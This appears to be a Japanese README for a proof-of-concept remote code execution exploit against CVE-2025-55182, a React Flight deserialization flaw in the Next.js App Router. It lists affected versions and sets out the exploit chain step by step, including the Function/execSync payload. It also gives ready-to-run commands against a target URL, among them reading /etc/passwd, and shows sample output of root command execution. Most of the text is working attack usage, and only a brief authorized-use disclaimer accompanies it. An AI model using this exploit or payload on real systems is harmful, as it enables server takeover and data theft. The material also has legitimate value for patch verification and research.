
Next.js App RouterにおけるReact Flightプロトコルを悪用するCVE‑2025‑55182の概念実証RCE
| Next.js | React |
|---|
| 14.3.0-canary.77 ~ 15.0.4 | 19.0.0 |
| 15.1.1-canary.0 ~ 15.1.8 | 19.1.0 |
| 15.2.0-canary.0 ~ 15.2.5 | 19.1.1 |
| 15.3.0-canary.0 ~ 15.3.5 | 19.2.0 |
| 15.4.0-canary.0 ~ 15.4.7 | |
| 15.5.1-canary.0 ~ 15.5.6 | |
| 16.0.0-canary.0 ~ 16.0.6 |
| Next.js |
|---|
| 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+ |
$@ を使用して生の Chunk 参照を取得する$1:__proto__:then を介して .then を Chunk.prototype.then で上書きするstatus を resolved_model に設定して initializeModelChunk をトリガーする$B1337 を使用して Blob のデシリアライズをトリガーする_formData.get を Function コンストラクタに指定する_prefix には実行する JS コードが含まれるコードは以下によって評価されます:
Function("throw new Error(require('child_process').execSync('COMMAND').toString());//1337")
pip install -r requirements.txt
python cve_2025_55182_poc.py https://target.com --check-only
# Default command (id)
python cve_2025_55182_poc.py https://target.com
# Custom command
python cve_2025_55182_poc.py https://target.com -c "whoami"
python cve_2025_55182_poc.py https://target.com -c "cat /etc/passwd"
python cve_2025_55182_poc.py https://target.com -c "dir C:\\"
| Option | Description |
|---|---|
url | ターゲット URL (必須) |
-c, --command | 実行するコマンド (デフォルト: id) |
--check-only | 脆弱性の確認のみ行う |
-t, --timeout | タイムアウト (秒単位、デフォルト: 15) |
-v, --verbose | 詳細出力 |
--raw | 生のレスポンスを表示 |
cd vulnerable-app
npm install
npm run dev
# Server at http://localhost:3000
+======================================================================+
| CVE-2025-55182 - React Server Components RCE |
| React Flight Protocol Deserialization Vulnerability |
+======================================================================+
[*] Affected: React 19.0.0-19.2.0 / Next.js 14.3-16.0.6
[*] CVSS Score: 10.0 (CRITICAL)
[*] Author: rl0x01
[*] Target: http://localhost:3000
[*] Timeout: 15s
[1/2] Checking vulnerability...
[+] VULNERABLE! RCE Confirmed - Output received
[2/2] Executing command: whoami
[+] Payload sent!
============================================================
RESULT: whoami
============================================================
root
============================================================
CVE-2025-55182/
├── cve_2025_55182_poc.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # Documentation
└── vulnerable-app/ # Vulnerable Next.js app for testing
├── package.json
├── next.config.js
└── app/
├── layout.js
├── page.js
└── actions.js
⚠️ このツールは教育目的および許可されたセキュリティテスト目的でのみ提供されます。
このツールを、所有していない、または明示的な許可を得ていないシステムに対して不正に使用することは違法です。